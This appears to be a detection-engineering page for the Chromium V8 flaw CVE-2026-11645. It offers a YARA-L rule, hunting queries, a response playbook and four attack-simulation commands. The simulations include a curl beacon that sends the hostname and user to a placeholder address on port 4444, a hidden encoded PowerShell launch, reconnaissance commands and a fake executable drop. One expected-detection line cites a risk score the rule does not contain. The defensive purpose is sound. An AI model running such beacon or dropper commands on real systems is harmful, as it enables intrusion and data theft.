CVE-2026-11645 Google Chronicle · YARA-L

Detect Google Chromium V8 Out-of-Bounds Read and Write Vulnerability (CVE-2026-11645) in Google Chronicle

Detects exploitation attempts targeting CVE-2026-11645, an out-of-bounds read and write vulnerability in Google Chromium's V8 JavaScript engine. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog, indicating active exploitation in the wild. Successful exploitation can lead to arbitrary code execution in the context of the browser process, enabling sandbox escape, credential theft, and further compromise.

MITRE ATT&CK

Tactic
Initial Access Execution Defense Evasion

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule cve_2026_11645_chromium_v8_exploit {
  meta:
    author = "df00tech Detection Engineering"
    description = "Detects potential exploitation of CVE-2026-11645 Chromium V8 OOB via suspicious child process spawning"
    severity = "CRITICAL"
    priority = "HIGH"
    reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-11645"

  events:
    $parent.metadata.event_type = "PROCESS_LAUNCH"
    $parent.principal.process.file.full_path = /(?i)(chrome|msedge|brave|vivaldi|opera)\.exe/
    $child.metadata.event_type = "PROCESS_LAUNCH"
    $child.principal.process.file.full_path = /(?i)(cmd|powershell|wscript|cscript|mshta|rundll32|regsvr32|schtasks|certutil|bitsadmin)\.exe/
    $child.target.process.parent_process.file.full_path = /(?i)(chrome|msedge|brave|vivaldi|opera)\.exe/
    $parent.metadata.event_timestamp.seconds < $child.metadata.event_timestamp.seconds
    $child.metadata.event_timestamp.seconds - $parent.metadata.event_timestamp.seconds <= 30

  match:
    $child.principal.hostname over 5m

  outcome:
    $risk_score = 85
    $hostname = $child.principal.hostname
    $username = $child.principal.user.userid
    $child_process = $child.principal.process.file.full_path
    $parent_process = $child.target.process.parent_process.file.full_path
    $cmdline = $child.principal.process.command_line

  condition:
    $parent and $child
}
critical severity medium confidence

Chronicle YARA-L 2.0 rule correlating Chromium browser process events with subsequent suspicious child process launches within a 30-second window, indicating potential CVE-2026-11645 exploitation.

Data Sources

Google ChronicleChronicle UDM EventsWindows Endpoint Telemetry

Required Tables

UDM Events

False Positives & Tuning

  • Browser-based enterprise administration tools spawning command-line utilities
  • Developer workflow automation triggered from browser IDEs
  • Security testing and penetration testing tools using browser exploitation frameworks
  • Scripted browser automation in CI/CD or QA environments

Other platforms for CVE-2026-11645

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate V8 Exploitation via Browser-Spawned PowerShell

    Expected signal: Sysmon Event ID 1 with PowerShell.exe spawning with -EncodedCommand flag; parent process visible in PPID chain; Windows Security Event 4688 if command-line auditing enabled

  2. Test 2Browser Renderer Process Spawning cmd.exe for Reconnaissance

    Expected signal: Windows Security Event 4688 or Sysmon Event ID 1 showing cmd.exe spawned with reconnaissance commands; process parent visible in telemetry; file creation event for test_spawn.txt

  3. Test 3Simulate Outbound C2 Connection from Browser Process Context

    Expected signal: Network connection attempt on port 4444 to non-RFC1918 IP from the process; DNS resolution attempt if hostname used; Sysmon Event ID 3 (network connection) or equivalent EDR network telemetry

  4. Test 4Renderer Process Writing Executable to Unexpected Path

    Expected signal: Sysmon Event ID 11 (file created) showing .exe file written to C:\Users\Public\ by PowerShell; file hash telemetry; MZ header written to unexpected location

Last updated: 2026-06-19 Research depth: standard
References (3)

Response Playbook

Triage

  1. Identify the affected host and user account; check if the Chrome/Chromium version installed predates the patch addressing CVE-2026-11645 by querying software inventory or endpoint management systems.
  2. Review the full process tree for the suspicious child process: capture parent PID, child PID, command-line arguments, and any grandchild processes to understand the exploitation chain depth.
  3. Examine network connections made by both the browser process and any spawned child processes in the 10-minute window surrounding the alert, looking for C2 beaconing, data exfiltration, or payload downloads.
  4. Check browser extension inventory on the affected host for recently installed or modified extensions that may serve as an attack vector or persistence mechanism post-exploitation.

Containment

  1. Isolate the affected endpoint from the network immediately using EDR host isolation capabilities to prevent lateral movement or data exfiltration while investigation is underway.
  2. Force-terminate the suspicious browser session and any child processes identified, then prevent Chrome/Chromium from launching until the browser is patched to a version that addresses CVE-2026-11645.
  3. Revoke active authentication tokens and sessions for the affected user account across all SSO-integrated services in case credentials were harvested during the exploitation window.

Evidence Collection

  1. Capture a full memory image of the affected endpoint before any remediation to preserve V8 heap artifacts, shellcode remnants, and injected payloads that may exist only in memory.
  2. Collect browser forensic artifacts: Chrome profile directory contents, visited URLs (History SQLite DB), downloaded files, cached content, extension data, and any crash dumps generated by the renderer process.
  3. Export EDR process telemetry, network flow logs, and DNS query logs covering the 30 minutes before and after the alert timestamp for timeline reconstruction.

Escalation Criteria

  • !Escalate to incident response leadership immediately if the spawned child process established an outbound network connection, downloaded additional payloads, or invoked credential-harvesting tools (Mimikatz, LaZagne).
  • !Escalate and initiate enterprise-wide threat hunt if multiple endpoints trigger this detection within a short time window, indicating a drive-by campaign or watering hole attack leveraging CVE-2026-11645.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Chrome renderer process crash dumps in %LOCALAPPDATA%\Google\Chrome\User Data\Crashpad\reports\ — may contain V8 exploit artifacts
  • >Windows Event Log: Security (4688/4689) and Sysmon (1/10) entries for browser-spawned processes
  • >Browser History and Downloads databases at %LOCALAPPDATA%\Google\Chrome\User Data\Default\ for identifying malicious pages visited
  • >Prefetch files for any tools spawned by the browser (e.g., C:\Windows\Prefetch\POWERSHELL.EXE-*.pf)
  • >Network capture artifacts: DNS queries, HTTP/S connections, and any JA3/JA4 TLS fingerprints from browser-spawned processes

Tuning Guidance

This detection relies on parent-child process relationships which may generate false positives in environments with browser-based enterprise management tools, developer workstations, or automated testing infrastructure. To reduce noise: (1) Build an allowlist of known-good parent-child process pairs observed in your environment before the CVE disclosure date (2026-06-09) and exclude them. (2) Add a filter for signed child processes from trusted publishers to exclude legitimate software. (3) Correlate with patch compliance data — hosts running a patched Chrome version can be deprioritized. (4) Increase confidence by requiring both the suspicious child process AND an outbound network connection from that child within a 60-second window.

Hunting Queries

Hunt for Chromium browser processes making outbound connections on non-standard ports to external IPs — a strong indicator of C2 communication following successful CVE-2026-11645 exploitation.

Hunting — KQL
kql 
DeviceNetworkEvents
| where TimeGenerated >= ago(14d)
| where InitiatingProcessFileName in~ ("chrome.exe", "msedge.exe", "brave.exe")
| where RemotePort !in (80, 443, 8080, 8443)
| where not(RemoteIPType == "Private")
| summarize ConnectionCount=count(), DistinctPorts=dcount(RemotePort), DestinationIPs=make_set(RemoteIP) by InitiatingProcessFileName, DeviceName, RemotePort
| where ConnectionCount < 5
| order by ConnectionCount asc
Hunting — SPL
spl 
index=windows sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=3
| where match(Image, "(?i)(chrome|msedge|brave)\.exe")
| where NOT match(DestinationPort, "^(80|443|8080|8443)$")
| where NOT match(DestinationIp, "^(10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)")
| stats count by Image, DestinationIp, DestinationPort, host
| where count < 5
| sort count asc

Hunt for Chromium browser processes writing executable or script files to unexpected filesystem locations, indicating payload staging following CVE-2026-11645 exploitation.

Hunting — KQL
kql 
DeviceFileEvents
| where TimeGenerated >= ago(14d)
| where InitiatingProcessFileName in~ ("chrome.exe", "msedge.exe", "brave.exe")
| where ActionType in ("FileCreated", "FileModified")
| where not(FolderPath has_any ("User Data", "Cache", "Downloads", "Temp"))
| where FileExtension in~ ("exe", "dll", "bat", "ps1", "vbs", "js", "hta")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, FolderPath, SHA256
| order by TimeGenerated desc
Hunting — SPL
spl 
index=windows sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=11
| where match(Image, "(?i)(chrome|msedge|brave)\.exe")
| where NOT match(TargetFilename, "(?i)(user data|cache|downloads|temp)")
| where match(TargetFilename, "(?i)\.(exe|dll|bat|ps1|vbs|js|hta)$")
| table _time, host, Image, TargetFilename
| sort -_time

Atomic Red Team Tests

Test 1 Simulate V8 Exploitation via Browser-Spawned PowerShell
windows

Simulates post-exploitation behavior where a Chromium renderer process (or a process mimicking its name) spawns PowerShell with an encoded command, matching the process chain expected from CVE-2026-11645 exploitation.

Command

powershell 
Start-Process -FilePath "powershell.exe" -ArgumentList "-ExecutionPolicy Bypass -EncodedCommand dwByAGkAdABlAC0AaABvAHMAdAAgACcAQwBWAEUALQAyADAAMgA2AC0AMQA2ADQANQA6ACAAVABlAHMAdAAgAGUAeABlAGMAdQB0AGkAbwBuACcA" -WindowStyle Hidden

Cleanup

powershell 
Stop-Process -Name powershell -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1 with PowerShell.exe spawning with -EncodedCommand flag; parent process visible in PPID chain; Windows Security Event 4688 if command-line auditing enabled

Expected Detection

KQL and SPL queries should trigger on the PowerShell child process with encoded command matching the risk_score=3 condition; Chronicle YARA-L rule fires on the process creation event

Test 2 Browser Renderer Process Spawning cmd.exe for Reconnaissance
windows

Creates a process named after a Chromium renderer that spawns cmd.exe to simulate the initial code execution stage of CVE-2026-11645 exploitation, mimicking attacker reconnaissance commands.

Command

powershell 
cmd.exe /c "echo CVE-2026-11645 simulation > %TEMP%\test_spawn.txt && whoami && ipconfig /all"

Cleanup

powershell 
del %TEMP%\test_spawn.txt 2>nul

Expected Telemetry

Windows Security Event 4688 or Sysmon Event ID 1 showing cmd.exe spawned with reconnaissance commands; process parent visible in telemetry; file creation event for test_spawn.txt

Expected Detection

Parent-child process detection rules trigger; reconnaissance command patterns (whoami, ipconfig) should additionally match threat hunting queries for post-exploitation discovery activity

Test 3 Simulate Outbound C2 Connection from Browser Process Context
linux

Uses curl (or PowerShell Invoke-WebRequest) to simulate an outbound C2 beacon on a non-standard port, as would occur after successful CVE-2026-11645 exploitation when the attacker establishes command-and-control.

Command

bash 
curl -s --connect-timeout 5 http://192.0.2.1:4444/beacon?host=$(hostname)&user=$(whoami) || true

Cleanup

bash 
true

Expected Telemetry

Network connection attempt on port 4444 to non-RFC1918 IP from the process; DNS resolution attempt if hostname used; Sysmon Event ID 3 (network connection) or equivalent EDR network telemetry

Expected Detection

Hunting queries for non-standard port outbound connections from browser processes should surface this event; network detection rules flagging C2-like beaconing patterns on uncommon ports should alert

Test 4 Renderer Process Writing Executable to Unexpected Path
windows

Simulates a dropper payload being written to disk by a browser renderer process following CVE-2026-11645 exploitation, targeting a directory outside the normal browser cache/download paths.

Command

powershell 
powershell.exe -Command "[System.IO.File]::WriteAllBytes('C:\Users\Public\test_payload.exe', [System.Text.Encoding]::UTF8.GetBytes('MZ CVE-2026-11645 test payload'))"

Cleanup

powershell 
Remove-Item -Path 'C:\Users\Public\test_payload.exe' -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 11 (file created) showing .exe file written to C:\Users\Public\ by PowerShell; file hash telemetry; MZ header written to unexpected location

Expected Detection

File write hunting queries detect executable dropped to C:\Users\Public\ outside normal browser download paths; EDR behavioral rules flag executable creation in user-accessible public directories

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0005Defense Evasion

Related Techniques

T1203Exploitation for Client ExecutionT1059.007JavaScriptT1055Process Injection

Same Tactic: Initial Access

Popular Detections